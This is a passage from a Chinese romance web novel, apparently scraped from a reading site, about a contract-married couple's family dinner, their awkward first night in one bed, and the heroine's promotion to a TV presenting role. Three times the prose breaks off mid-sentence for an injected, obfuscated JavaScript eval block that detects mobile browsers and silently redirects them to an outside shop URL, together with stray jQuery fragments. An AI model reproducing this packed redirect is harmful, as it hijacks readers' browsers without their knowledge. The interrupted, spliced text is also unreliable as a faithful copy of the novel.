陆尽惟关了电脑,说道:“上次爸说爱喝的明前龙井让周智又拿了些,顺便给陈姨选了条珍珠项链。你看看有没有什么不合适的。”
周智将两个礼盒交到姜栩手中。
“谢谢你了,”她只看了眼精美奢华的外包装,就知道里面的东西肯定不会差,将礼盒收好,“其实不用这么麻烦的。”
话落,陆尽惟转头看她:“这些事情是该做的,不麻烦。至少我足够重视,才能让你家里人安心,少点儿担心。”
姜栩心头一动。除开彼此心照不宣地剥离感情,她突然觉得陆尽惟是周到而可靠的,至少在她家人面前,他是个十足让人感到幸福的丈夫。
让人安心的存在……她倒这么想过,只不过是借着他的面孔赋予给自己的幻想。
她缓缓点头,又说了声谢谢。
车内陷入沉默,姜栩侧头看着窗外掠过的街景,直到抵达目的地。
下了车,两人并肩往从院子经过,往别墅走。
此前姜少淳很怕姜栩是为了家里委屈自己,才答应跟陆尽惟领证结婚。姜栩不想父亲一直担心,自然是希望每次和陆尽惟一起回去时,两人和谐融洽,不求举案齐眉,只求像一对夫妻。
别墅门口,陆尽惟阔达的步子下意识放慢,和姜栩保持着并肩的合适距离,轻轻把手抬起。
姜栩抬头看了他一眼。
“挽上。”他轻轻抬了抬胳膊。
他身高比她高很多,姜栩不太习惯胳膊往上抬起,她轻轻扯了扯,企图将他的手臂往下扯。
陆尽惟察觉,侧脸垂眸看她。
姜栩小声道:“太高了。”
“牵着吧。”话落,他将手臂伸直,顺势攀上她的手腕,随即握住她的手。
他的手掌很大,几乎能将她的手包裹住。一阵暖意在手掌蔓延,姜栩指尖僵了下,很快被消融。
“阿惟、栩栩回来啦!快进来,菜正在炒着呢!”陈丽芸出来迎接,一身舒适的古典旗袍,盘着简单的发髻,大气端庄,不失优雅。
两人跟着进入客厅。
“陈姨,阿惟给您选的条项链,感觉很适合您,希望您喜欢。爸上次说的明前龙井估摸着快喝完了,他刚好也带了一盒回来。”礼物经姜栩的手给了出去。
她转头一看,陆尽惟的脸上正带着恰到好处的温和笑容,俨然配合完美。
“就是看你们好久没回来,叫你们回来吃个饭,还客气带什么礼物。阿惟啊,我们没那么多讲究和礼节,你下次空着手来。”陈丽芸不再多客气,把东西递给佣人让收好。
“前段时间一直在国外,没有跟着姜姜一起回来,见谅。”陆尽惟解释此前她孤身回家的事,让人感觉服帖有礼。
从他的口说出来,增加了她并没有被刻意冷落的可信度。
陈丽芸笑着:“理解理解,你们年轻人忙事业,回来就好。”
沙发上,就两人坐着,姜栩感觉空气有点冷,准备进厨房看看,正好姜少淳从厨房里过来,一边拆下围裙。
他一身休闲服,摆脱了工作时的西装革履,展现着一个普通家庭煮夫的形象:“你们饿了吧。我把那条鱼做了个红烧,等会儿你们俩试试味道怎么样。”
“那我等会儿看您手艺退步了没有。”姜栩应声。
陆尽惟颔首,带着恰到好处的晚辈姿态:“爸和陈姨费心了。”
陈丽芸很快端来水果盘:“刚切的,新鲜,你们先吃点儿,”说完坐在姜栩身边,拉着她的手细细打量,“这阵子是不是忙啊?看你好像瘦了点,工作再忙也得好好吃饭。”
陈丽芸是她的继母。姜少淳跟她母亲离婚几年后两人在一起,然后领证再婚。那时候姜栩年龄并不大,两人之间的关系说不上多好,毕竟没有亲缘关系,但关系也不算差。她并不讨厌这位继母,也不讨厌同父异母的妹妹。姜少淳和陈丽芸结婚之前也早就说过自己的底线原则就是姜栩不受委屈,家庭和谐。
她希望自己父亲晚年能有个相伴余生的另一半,也懂得在一个家庭里,最重要的是平衡,所以并不计较家长里短中的细枝末节。
陈丽芸之前是高级教师,知礼节,待人接物,处事都很周到,因此彼此关系维持起来并不难。
至于后来她对陈丽芸改观,关系变得近一步,是在几年前。她从克城被接回来,陈丽芸辞去工作,亲力亲为跑前跑后地照顾她,那时也无意间听到陈丽芸跟继妹说话,她说:姐姐受伤了,我们要做她的后盾,因为我们是一家人。那期间她也真的印证了这句话,渐渐地,关系无声中拉近被涂上了一层粘合剂。
但她也有自己的执拗,一直没改口。
陈丽芸也并不计较,觉得家庭和谐温馨,称呼只是个形式。
姜栩笑了笑:“还好,就是偶尔加班,可能没太注意饮食。”
“那可不行,身体是自己的,”陈丽芸转头看向陆尽惟,语气里夹着几分认真,“阿惟你也是,平时忙归忙,也要注意身体健康。栩栩大大咧咧惯了,还麻烦你多顾着点儿,作息要规律,别把身体熬坏了。”
陆尽惟端着水杯抿了一口,抬眼时脸上挂着笑:“陈姨放心,我会提醒她。”
他说这话时,视线淡淡扫过姜栩,没有任何温度,更像是在完成一项夫妻义务的承诺。
姜栩也开始解释:“陈姨我就是偶尔,平时在单位吃饭还是很规律的,您别担心。”
“就怕你不当回事儿,这姜思在学校也是,一天天爱吃些垃圾食品,大半夜了也不睡,你们一个个就是仗着自己现在年轻。”陈丽芸苦口婆心。
姜思就是她同父异母的妹妹。
她淡淡笑了:“思思怎么没在?”
陈丽芸:“跟同学出去看电影去了。”
姜少淳听了会儿两人的闲聊,问起陆尽惟:“最近项目进展怎么样?前阵子听人说你在跟进城西的地,那里的竞争不小吧?”
陆尽惟语气沉稳:“竞争有些,不过目前各项流程都在推进,等着审批,比较顺利,问题不大。”他又说了些细节,姜少淳也知道了大致情况。
姜栩坐在一旁,安静地吃着水果,偶尔听他们聊几句商业上的事,插不上话。
偶尔她也能感觉到,姜少淳和陈丽芸虽没有明着问,但话里总带着几分试探,想看看他们之间的相处到底如何。
好在陆尽惟没有刻意疏远,也没有过分亲近,说话做事都拿捏着分寸,十分符合新婚不久的状态。
晚饭时,气氛更加热烈。
陈丽芸不停地给姜栩和陆尽惟夹菜,嘴里念叨着:“栩栩多吃点这个鱼,补身体……阿惟尝尝这个排骨,炖了一下午。”
姜栩碗里的菜堆得像小山,她一边阻止姜少淳再给她夹菜一边努力吃着,一转头,正好对上陆尽惟看过来的目光。
捕捉到他眼底一丝不易察觉的调侃。
姜栩瞪他一眼,又看了看他的碗里,好像在说:有什么好看的,你碗里的菜不比我少。
陆尽惟似是看穿了她的心思,笑了一下,拿起公筷,又夹了一块鱼腹上的肉,放进她碗里。
姜栩一愣,看着碗里的大山上又多了一角。
他动作自然,语气平淡,落在姜少淳和陈丽芸眼里,很像夫妻间的体贴。
陈丽芸笑得眼睛弯了弯:“你们都多吃点。”
姜栩握着筷子的手紧了紧,抬眼看向陆尽惟,他已经收回了目光,正和姜少淳聊天,仿佛刚才那个夹菜的动作只是无心之举。
但是,明知道这么多菜了,还给她夹。
肯定是故意的!
这顿饭吃了将近一个小时,席间氛围一直很好,姜少淳和陈丽芸脸上的笑容就没断过。姜栩能感觉到,父亲心里的石头应该是落了不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590407|205436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少。
饭后,陆尽惟陪着姜少淳在客厅喝茶聊天,姜栩则跟着陈丽芸去厨房帮忙收拾。
“不用你动手,你坐着歇会儿。”陈丽芸把她往外推,“我跟你说几句话。”
两人坐在厨房外的小阳台上,晚风带着淡淡的花香吹过来。
陈丽芸看着姜栩,语气温柔:“栩栩,过日子是两个人的事,互相多包容着点,有什么事别憋在心里,好好沟通。”
姜栩点点头:“我知道,陈姨。”
“你们俩估计都还有些不适应,”陈丽芸轻轻拍了拍她的手,“你们情况不一样,在相处中要慢慢磨合。你爸一直担心你,现在看到你们这样,他也稍微放心了些……你也别委屈自己,要是有什么不开心,多倾诉,想跟我说也可以,我也是个过来人,可能不能感同身受,但总归经验要多一些。”
陈丽芸如多数母亲一样,担心着女儿在自己小家的生活状况。有时候莫名感受到一种母亲还在的错觉。
她乖巧地点头:“我知道啦,陈姨……我们会好好的。”
不赶时间,他们又在客厅的沙发里聊了会儿天。
外面传来呼喊:“姐——我姐回去没——”
一听声音就知道是谁。
陈丽芸嗔怪道:“这孩子,没个规矩。”
姜栩笑着,看向门口,没一会儿就出现一个身影,一身运动套装,马尾辫还在空中晃荡。
“哎呀,姐,你终于回来了!”姜思几步跑上前,扑进姜栩的怀抱。
被姜思一撞,姜栩承接着姜思大半重量,撑不住地往侧边倒,她旁边就是陆尽惟。
最后,不堪重压。
陆尽惟见状,抬手护住她的肩膀,给了她几分力量。
此情此景,她感觉脸上一阵热,因为她的姿势,实在很像已经躺进了他的怀里,姜少淳跟陈丽芸正在对面坐着,笑得温和。
无形中给他们演了出戏……
在陆尽惟的借力下,姜栩坐直身子,把姜思拉开:“你夸张,都被压垮了!”
姜思坐好,把身上的挎包往旁边一扔,略有不满,看着姜栩,视线扫到她身边的陆尽惟,不咸不淡地喊了声“姐夫”,再无其他。
陆尽惟颔首,算是打了招呼。
对于陆尽惟,姜思不太喜欢,因为她也听爸爸妈妈说起,他和姐姐两个人之前就不认识,怎么就可以这么快结婚,而且之前每次都是姐姐一个人回来,所以她觉得这个姐夫对自己姐姐一般。所以她不大喜欢,但是姜少淳又提醒她,不许在这个姐夫面前没礼貌,所以她只能象征性地喊一下。
“姐,你最近一直都没回家,我好久没看到你了!”姜思看向姜栩,语气颇有撒娇的意味。
“你哪里是想我……”姜栩打趣她。
这个妹妹学习不认真,鬼点子倒多,不是想去什么演唱会就是想追什么明星,姜少淳给的零花钱有限,加上读书对她多方管制,所以姜栩成了她的大金主。
偶尔一次放纵,姜栩都会满足。
“哎呀,就是想你!”姜思立马堵住她的话,“你要是不上班就好了,就跟我妈一样在家里。”
“我不上班怎么赚钱?”姜栩笑她。
“姐夫啊,你让姐夫给钱,你就在家玩,姐夫不是很有钱嘛……”嘴快,姜思直接就这么说了出来。
姜栩一顿,视线瞥了一眼陆尽惟。
“你姐要闯出自己的天地,在家玩不住。”陆尽惟温和地帮她解释。
“对啊,你不是还等着我当电视主持人么?”姜栩跟着他的话说。
姜思看着面前一前一后的美女和帅哥,一脸赏心悦目地点头。她突然觉得这个姐夫在颜值上还是非常可以的,要是他去娱乐圈,说不定她还会追。
“那你能不能多给姐一些钱?”话都已经说了,姜思也懒得顾忌,开始打算盘。要是多给她姐钱,那就能多分她一些。
姜少淳出声打断:“思思,别没大没小的。”
姜思噤声。
陆尽惟没觉得冒犯无礼,反而对这个问题很感兴趣,他早就给了姜栩一张黑卡,金钱物质上应该是没有任何亏待的。
他温和地笑着,顺着姜思的心思来:“没问题,那你有什么想要的?”
姜思愣了下,没想到自己的算盘就这么被发现了。她看了眼姜栩,后者示意她开口。
她想了想:“质数乐队的演唱会就在京市,想去最前排!那个璀璨盛典的晚会,我也想去,里面有好多明星呢!想去拍照要签名……”
演唱会可以理解,但璀璨盛典是高奢品牌举办的晚会庆典,明星代言人必然出席,其他能去的都是消费千万或者品牌的vip顾客。
姜栩提醒:“你别太贪心。”
姜思嘟囔着:“那这些就是目前想要的……”
“刚好认识几位赞助商,到时候让他们给你留演唱会的票。要前排还是要包厢?”陆尽惟认真在问她。
姜思受宠若惊,笑开了:“前排!”
姜栩也跟着笑,灵机一动:“你一个人去不放心,我陪你一起去。”说完她转头看向陆尽惟,“再加一张应该没问题吧?”
话落,引来一阵笑声。
姜少淳也笑她:“你这孩子,跟姜思一个德行。”
“我是替广大歌迷粉丝去感受的。”姜栩脸不红心不跳地解释。
陆尽惟也跟着轻笑出声,点了点头:“可以。”
说完他又说起:“璀璨盛典你去的话就带着思思一起去,不去的话我让楚羽陪她去。”
姜栩看着他。
“那边每年都有邀请,之前一直没去过。”陆尽惟化解她的疑问。
“好耶!姐夫你太好了,我姐真幸福!”两个想要的都实现,姜思立马拍马屁吹捧,脸上表情都要笑飞了。
“狗腿啊你!”笑骂她,转身又在陆尽惟耳边轻轻说了句谢谢。
陆尽惟:“不客气。”
8. 惊险一刻
晚上九点多,两人起身准备回去。
走出别墅,晚风微凉,姜栩裹了裹身上的薄衫,抬脚往院子走。
刚走两步,肩膀上覆了一层屏障,挡去大半凉风,她下意识想要抖开,反被摁住。
陆尽惟揽着她,没松手:“没长眼睛,看着的。”
“我后脑勺当然不长眼睛。”
“那就听我的,别乱动。”不满于她的挣脱,他加了些力道。
姜栩真没再动,反问:“你后脑勺长眼睛了?”
身边传来不温不火的提醒:“这会儿呛人,是觉得以后我不会再来跟你一起过来吃饭了吗?”
姜栩:“……”
车上,姜栩为刚刚的事情作解释:“思思一般爱开玩笑,你别放在心上。”
“你是说她让我多给你些钱还是让你在家做全职太太?”
“两者都是。”
陆尽惟转头看了下她匀净的脸庞,在夜景的光影中平添几分美感。
移开视线,他说:“你对你妹妹挺好的。不然她也不会这么为你争取。”
姜栩躺进座椅,语调懒散:“对啊,都是家人。”
“不是同父异母么?”
“那也是家人啊。再说了,她一个小孩子哪里需要承受那么多,在一个幸福的家庭快乐成长就好了。”
陆尽惟直视着前方的红绿灯,听不出什么语气:“你还挺分得清。”
气氛轻松,姜栩继续说:“陈姨可是对我挺好的,才没有那些什么勾心斗角哦。”
她怀疑陆尽惟觉得她在家过的都是不好的日子,自证全家清白。
陆尽惟并不纠结于这个问题,说及此处,提前跟她说了一声,“爸妈最近会回来一趟,到时候我们得跟他们一起吃顿饭。”
姜栩“哦”了一声,记挂着刚刚姜思的需求:“你真的可以拿到演唱会前排的票吗?”
“怎么?不能拿到你就不跟我去吃饭吗?”
“那倒不至于。”她又开玩笑,“不过也有这个可能。”
陆尽惟难得耐心地向她保证:“演唱会能看,饭也必须一起吃。”
姜栩并不怀疑他拿到票的能力,笑了下:“好的陆总。保证完成任务!”
-
回到老宅时,陆潜义已经从香港回来,正跟管家林叔聊天。
陆尽惟习以为常,喊了声:“爷爷,还没睡?”
陆潜义意味深长地看了他一眼,看着两人一同回来,也没多问:“等你们回来。”
说完,他指了指放在客厅一角的几个盒子,“那拍卖会还不错,顺手就带了几件回来。栩栩,你爸字写得好,有方清代的砚台给他。你什么时候带给他,剩下的一个翡翠手镯和耳环,我看着不错,给你的。”
姜栩没想到老爷子还会带着礼物回来,连忙道谢。
“我没有吗?”陆尽惟扫一眼好几个礼盒,随意问了一句。
陆潜义嗔怪地看他一眼:“你也好意思要。”
一旁的姜栩憋着笑,越忍越绷不住。
陆尽惟垂眸看到她微微颤抖的肩膀,忍不住抬手放上去,按住,禁锢着她不许笑。
那只手落在肩头,不重,但姜栩忽然就不敢动了。
掌心的温度隔着衣料,像一小片烙上去的暖意,让她莫名觉得他们关系真的很亲密。
陆潜义见状,伸手拍下他的手:“还不许别人笑了?”
手背被打,陆尽惟收回落在她肩上的手掌,无奈地摆手。
看着两人,陆潜义说起正事:“今天他们打扫房间,见你们多了床被子,给你们撤掉了。主卧地方本来也不大,给你们誊些空间,别整些多余的。”
姜栩:……
陆尽惟:……
哪里是主卧地方不大,分明是觉得床大了。
陆尽惟并不觉得惊讶,点了点头:“知道了,您早点休息。”
陆潜义不放心地看了两眼,慢悠悠地去了电梯口。
目送老爷子上楼,陆尽惟才收回视线:“我们也上去。”
他率先迈步上楼,姜栩跟在后面。
对于这个消息姜栩接受得很快,早先就想过这种情况,只是没想到会来得这么快。
她缓缓叹了口气,知道躲也躲不过,安慰自己不如随缘。
走神间,她没注意前面的人已停在楼梯尽头,等反应过来时,整个人已经直直撞上他坚实的后背上
她吓了一跳,立马后退几步,拉开距离。
“对不——”
陆尽惟转身的瞬间,她的抱歉卡在喉咙里,脚下踩空,身体不受控地往后倒。条件反射地,她双手向前乱抓,猛地攥住了他的西装前襟。
陆尽惟被她拽得一个趔趄,迅速反应过来,一手撑着护栏稳住重心,另一条手臂迅速环过她的腰背。
用力一带。
姜栩整个人被一股力捞了回来,重重撞进他怀里。
清冽的淡淡雪松香混着他身上的温热气息,瞬间裹住她。
腰被他牢牢扣着,带着无法忽视的力量感。隔着薄薄的衣料,她清晰地感受到他沉稳有力的心跳,一下一下。
和她自己的心跳叠在一起,混乱而糊涂。
陆尽惟扶着栏杆微微俯身。
姜栩顺着惯性往前一倾,唇瓣不轻不重地落在他的侧颈。
两人同时一僵。
姜栩猛地抬头,瞳孔一缩。口红粘在了他的喉结侧边……
嫣红,刺眼。
心跳骤然加快,她下意识伸手去擦,指尖触碰着那片温热的痕迹,刚抹了几下,手腕忽然被他握住。
陆尽惟垂着眼,眸色很深,看不清什么情绪。手上的力道不重,但她也挣不开。
僵持的时间里,结实有力的手臂圈仍在她的腰上,维持着刚刚惊险一幕的动作。
两人的距离近得过分。
姜栩甚至能看清他衬衫领口处平整的缝线,楼梯间的灯光落在他轮廓分明的脸上,下颌线绷得很紧。
还有,他的喉结上下动了动,红色痕迹随之波动。
她不知道自己为什么注意到了这个,但清晰地感觉自己耳根开始发热。
瞬间而来的恐慌尚未完全消退,取而代之的是一种令人无措的窘迫和心悸。
“对不起,我没看路……”她闭了闭眼,恨不得挖个地洞。
她觉得自己的心跳声很大很大。
陆尽惟低头,只能看见她乌黑的发顶,以及一段泛着绯红、线条优美的脖颈。
沉默两秒,松开手,声音低沉,“站稳。”
姜栩站稳扶着护栏,指尖还残留着他西装领口的触感。她垂着眼,无措地理了理自己的裙摆,低声道:“谢谢……”
陆尽惟垂眸整理着被她抓得有些褶皱的前襟,动作从容。
“看路,摔下去不好受。”
姜栩点了点头,不再说话,慢慢平复心头的余悸。
“有没有受伤?”他又问了句。
姜栩摇了摇头。
他视线扫了她一圈,退开两步,让出路,示意她先走。
姜栩老实走在前面,进入房间。
确实如老爷子所说,原本堆在角落的被子已经不见踪影,偌大的双人床铺得平整,床头两侧的床头柜上,多了两盏同款台灯,透着刻意营造的夫妻感。
老爷子这是铁了心,充当爱情氛围营造官。
“我去隔壁洗漱。”陆尽惟脱下西装时,才发现外套纽扣不见了一颗,瞥了一眼,顺手搭在沙发上,径直走出主卧。
次卧的浴室里,他看向镜中,眉头微皱。
喉结侧下方是一片红色印记,一角已经被擦得一片晕染。
姜栩的手指带着微微的冰凉,贴在喉结上,像一片雪落下来,刺得他莫名发痒,加上她身上有一种不知名的淡香,让他的感觉十分怪异。
对着镜子看了几秒,指腹磨过口红唇迹,心头同时划过一丝异样,晕染的痕迹越发醒目。
然后他垂下眼,拧开水龙头,尽数清洗。
主卧就姜栩一人,她松下身子,大剌剌地躺在沙发里,回想着刚刚的惊魂一刻。
得亏站着陆尽惟,把她捞了回来,不然指不定缺胳膊少腿儿。
没过多久,主卧的门打开。
陆尽惟走进来,换了一身黑色
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590408|205436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的真丝睡衣,头发微湿,水珠顺着发梢滴落,滑过他线条流畅的脖颈,落入衣领间。平日里一丝不苟的冷峻模样,此刻多了几分居家的慵懒。
脖颈处那片被擦洗过后的红迹依旧明显。
“其实可以用卸妆水擦掉。”姜栩分外抱歉,声音很轻,“这样也不会伤皮肤。”
陆尽惟看她微微泛红的脸,未洗漱,嘴上还是嫣红的,回想起刚刚自己脖子上的残留。
“已经洗干净了,”他不咸不淡地回答,“下次用点儿好的口红。”
姜栩:“……”
再好的口红也不能死死焊在嘴上啊!
她也就是回来路上吃完饭看见嘴巴没口红了重新补的,谁知道最后会是这样的结局。
陆尽惟说完也没看姜栩,径直走到床的另一侧,掀开被子靠在床头,动作自然,仿佛早已习惯了这种共处。
姜栩看了他一眼,视线一瞥,落在旁边的西装外套上,突兀地少了颗扣子——刚刚被她拽掉的。
她知道,但当时没来得及说,现在一看到西装,又想起来了。
“你的西装上面的那个扣子……”她犹豫着开口。
“没关系。”陆尽惟打断她,没再多说。
“我赔你一件吧?”这是她想到的解决方法。
“不用。”
姜栩一时不知该再说什么,“哦”了一声没再说话。
她洗漱得很快,出来时,陆尽惟还躺在床头看杂志,眉眼在暖黄灯光的映照下柔和了许多。
两人都没有打破这种状态,各干各的事。
思及那件西装,姜栩抱着手机进到衣帽间,想看看他常穿哪个牌子的西装,等休息时间去商场逛一逛。
也不能平白让他受损失。
视线扫了扫眼前整齐的西装,她随便拿下一件,翻了半天也没看到标识,只看到一个极小的标,不是什么店铺,而是一个专属于他的私人定制标。
又看了几件,姜栩彻底放弃,暂时搁置这个赔偿计划。
出了衣帽间,她在沙发上挨了片刻,等到真正要上床睡觉时才起身朝床边走。
她尽量目不斜视地掀开被子一角,小心翼翼地躺了下去,身体紧挨着床沿,尽可能与他拉开最大的距离。
房间里很安静,只有彼此清浅的呼吸声,以及他偶尔翻动书页的细微声响。
突然同盖一床被子,姜栩还没适应。
她不敢翻身,也不敢乱动,怕碰到他,连呼吸都放轻了半拍。
不知过了多久,身旁传来杂志被合上的声音,接着,啪一声轻响,床头灯熄灭。
整个房间瞬间陷入一片黑暗。
视觉被剥夺,其他的感官变得异常敏锐。姜栩能清晰地感觉到身旁床垫因他的动作而产生的下陷,耳边是他躺下时衣料摩擦的窸窣声。
黑暗中,陆尽惟低沉的声音缓缓响起:“你应该知道结婚的意思吧?”
“当然。”
“既然结婚了,自然也不是什么过家家的小游戏。”
姜栩顿了一下,轻声道:“我也没有这么想过。”
沉默几秒后,他的声音又响起:“以后夫妻之事是避免不了的……”
他的语气和平常说话一样,淡而静。
“我不会强迫你,给你做好心理准备的时间,现在你大可以放心。”
姜栩一阵心慌。
他怎么可以说得这么直白?
“你早就做好了心理准备吗?”她也挺好奇,即使两人不熟,但近来的相处,除了他这个人淡淡的以外,其他方面,陆尽惟确实做得还行,似乎已经完全适应丈夫这个身份。
“不算,该做准备的是你。”他的声音不大,却字字清晰。
姜栩在被子里攥紧了被角,不知道该怎么接这句话。
草草“哦”了一声,再无回应。
她在黑暗中睁着眼睛,盯着什么都看不见的天花板,脑子里乱糟糟地转着“夫妻之事”“心理准备”“不会强迫你”,无法放空。
“睡过来点。”
他出声,听不出什么情绪。
“不想明天早上在地板上看见你。”
9. 人逢喜事
周一,姜栩迈着沉重的步伐踏入广电大楼。
从电梯里出来,就看到一群人在朱立勤的办公室门口围观,里面传来鸡飞狗跳的声音。
周君绵从围观人群中钻出来,踩着高跟鞋朝她飞奔。
她挽住姜栩的胳膊,压低声音:“这个老色胚偷吃被抓了,就是和交通广播那边的周敏敏,在办公室被抓个正着……那叫一个绝,周敏敏脸都被打花了,朱立勤要关门,还被他老婆打了一耳光,把门就这么大开着让人看热闹。而且他老婆破口大骂,还说他利用职务之便干了违规的事儿……”
“他活该。”姜栩看着办公室的方向说了一句,很快收回视线,“那他估计坐不久了。”
倒不是周君绵幸灾乐祸,只是朱立勤实在该如此,这些年在广播部里稍微有些姿色的年轻女同事,哪个没被朱立勤揩过油,周君绵专业能力一直很好,但看不惯也不屑于这种潜规则,朱立勤懒得多说,硬是把她卡在广播台。
“老色鬼,确实活该。”周君绵又骂骂咧咧几句,“我就说他那么会见风使舵怎么不推荐你去《早间新闻》,原来早给周敏敏安排好了,现在估计也凉了……”
话落,办公室里传出女生的尖叫和朱立勤太太的辱骂声。紧接着,保安匆匆赶来,将人群挥散。
姜栩皱眉,拉着周君绵离开:“别看热闹了,去办公室。”
刚到办公室没多久,有同事叫她:“姜姜,绵绵,刚才新闻部的人来说,张丰婷张导让你们到了过去那边一趟。”
周君绵和姜栩对视一眼,双眸灿烂。
张丰婷一直在负责《早间新闻》,一般不见无关紧要的人,加之周敏敏的事一闹,主持人还得换,现在叫她跟周君绵,十有八九是关于此事。
周君绵一脸惊讶,压下激动:“天呐!是不是好日子要到了!”冷静下来后又开始担忧,“叫我们两个……可别这么整我俩。”
两人虽是密友,但也是潜在的竞争关系。
姜栩轻轻撞了她一下:“这是好事!不管是谁,那都是好日子要到了!”她放好包包,拍拍她的肩,“先过去。”
周君绵连连点头:“对对对。”
-
早间新闻的办公室里,几个工作人员在会议桌前整理新闻稿,脚下生风,却有条不紊。
整个办公室以玻璃结构为主,明媚的阳光从窗玻璃照射进来,在地毯上印下一片明媚的亮光,空间更显敞亮。
见姜栩跟周君绵在门口,有人问了一句:“你们找哪位?”
“我们是广播部的,张导让我们过来……”
“哦!我知道了!”问话的女生上前几步,笑容亲切,“我是张姐的助理,张姐在办公室,我带你们过去。”
跟随着两人的视线,助理顺便介绍:“早间新闻一般都是早上四点到九十点直播结束的时候最忙,开完会之后就没那么忙碌,各自干手头的事……”
姜栩跟周君绵点头应话,一路到了办公室门口。
透过玻璃,明净的办公室内,张丰婷穿着v领白衬衫,衣袖挽至手肘处,拿着一支签字笔,一页一页地翻看手中的文件。
助理伸手敲了敲门,推开:“张姐,姜栩和周君绵过来了。”
“进来吧。”话落,张丰婷也停了手上的动作。
助理给姜栩和周君绵做了个请的姿势,微微一笑。
姜栩:“谢谢……”
周君绵:“谢谢……”
两人站在张丰婷对面,开口打了声招呼,尔后听到张丰婷开门见山:“咱们这次早间新闻找主持人的事儿你们应该都知道,你们俩也递了申请表……”
两人听着,心跳不自觉加快。
张丰婷重新拿起一份文件,抬眸看了一眼面前的两人,继续道:“原本确定人选是朱主任举荐的周敏敏……但今早广播部出了个新闻,周敏敏肯定不能再用,得重新选人。听人说起过你们俩的名字,各方面情况我都了解了,专业能力和广播节目都做得不错,长得也漂亮。”
张丰婷看着这两个女孩儿,倒也有几分佩服,在朱立勤手下,一直原地踏步,估计没少受打压,“看着你们俩关系挺好。我也没那么恶心让你们竞争同一个岗位。”
话落,姜栩跟周君绵都悄悄松了口气。
“新节目《人生访谈》的主持人已经有了人选,是姜栩。晚点会发通知。”
姜栩点点头,感觉天降甘露,透着一种不真实感。
“至于早间新闻,”张丰婷停顿几秒,看向周君绵,“周君绵你的风格跟早间新闻还挺合适,暂时你来接替。至于最后能不能留下,看你自己的努力和表现。”
周君绵点头,眼神坚定:“谢谢张导,我一定努力。”
张丰婷手上没停,嘴上也没停:“《人生访谈》的筹备还有段时间,最近姜栩你先跟着早间新闻的节目一起,方便后期培训考核。”
姜栩了然地点点头。
“这周做好工作交接,下周一过来培训,早上四点开会,别迟到。”
两人认真点头。
“还有什么疑问吗?”张丰婷抬头扫了两人一眼。
“暂时没有。”
“那你们就先回去吧。”
“好的,谢谢张姐。”
姜栩准备退出办公室,被张丰婷叫住:“姜栩你等一下。”
周君绵与她对视后,关上门先行离开。
安静的办公室里,张丰婷仔细打量她好一会儿,递了一份文件:“这是《人生访谈》的策划案,你拿回去看看。节目嘉宾有几个待定人选,已经开始接触,你如果有什么想法,可以向我提。”
姜栩上前接过:“好的张姐。”
张丰婷看了看眼前这个不动声色的女孩儿。
或许是姜栩给张丰婷的感觉很舒服,足够漂亮却不张扬。她偶然见过她一次,当时她正梗着脖子给台长告状,控诉朱立勤的恶行。她觉得这姑娘初来乍到,心高气傲,心里倒是期许她再过个几年还能初心不改。
今日再见,应了她心中的期望。
她眼底仍然干净而不浮躁,有自己的坚持,她挺欣赏她的这股劲儿。
她想了想,出声提醒:“该说的还是得说,不管谁是赞助商,赞助商怎么样,在我这里,能力和态度最重要,这次主持人敲定也是如此。新节目锻炼人,也能成就人。你要想在这条路上坐得稳,走得远,就得拿出自己的风格,培训考核期间好好琢磨。”
姜栩疑惑她怎么突然提赞助商,没多细想,认真地点头:“我知道了张姐,我会认真准备。”
回到广播部,周君绵立刻围了上来,迫不及待地问:“怎么样怎么样?张姐还跟你说什么了?”
“她提醒我,在新闻部要靠实力,估计是上次那个赞助商饭局的影响,觉得我有什么后台吧……”姜栩顿了顿,没将这话放心里。
“有后台你也不稀得用啊,”周君绵的话意有所指,转而感叹,“现在这谣言,就是三人成虎,人云亦云。”
“管他的,反正我是靠努力得来的。”考核的一系列流程,也是把她熬惨了,幸好皇天不负有心人。
“对,咱们身正不怕影子歪。”周君绵不免激动,抱住姜栩,“太不容易了姜姜,好日子终于来了!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590409|205436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
-
人逢喜事精神爽。大概是获得了新闻部的入场券,姜栩回老宅都还带着笑意。
进门时,嘴里还哼着歌。
彼时陆尽惟正陪着老爷子在客厅看财经报道。
隐隐约约的歌声吸引了两人的视线。
“栩栩回来了!”陆潜义转身,慢慢从沙发上站起来,“今天怎么这么高兴?”
姜栩率先看向陆潜义,又瞟了一眼陆尽惟,不吝分享:“爷爷,我下周就到新闻部去了,主持人培训考核!”
“要成大主持人啦?”陆潜义嘴上不关注,其实先她一步就知道了结果。
“还在努力。而且还有好一段时间的培训考核。”姜栩有些不好意思,在长辈面前过于口嗨着实不太着调。
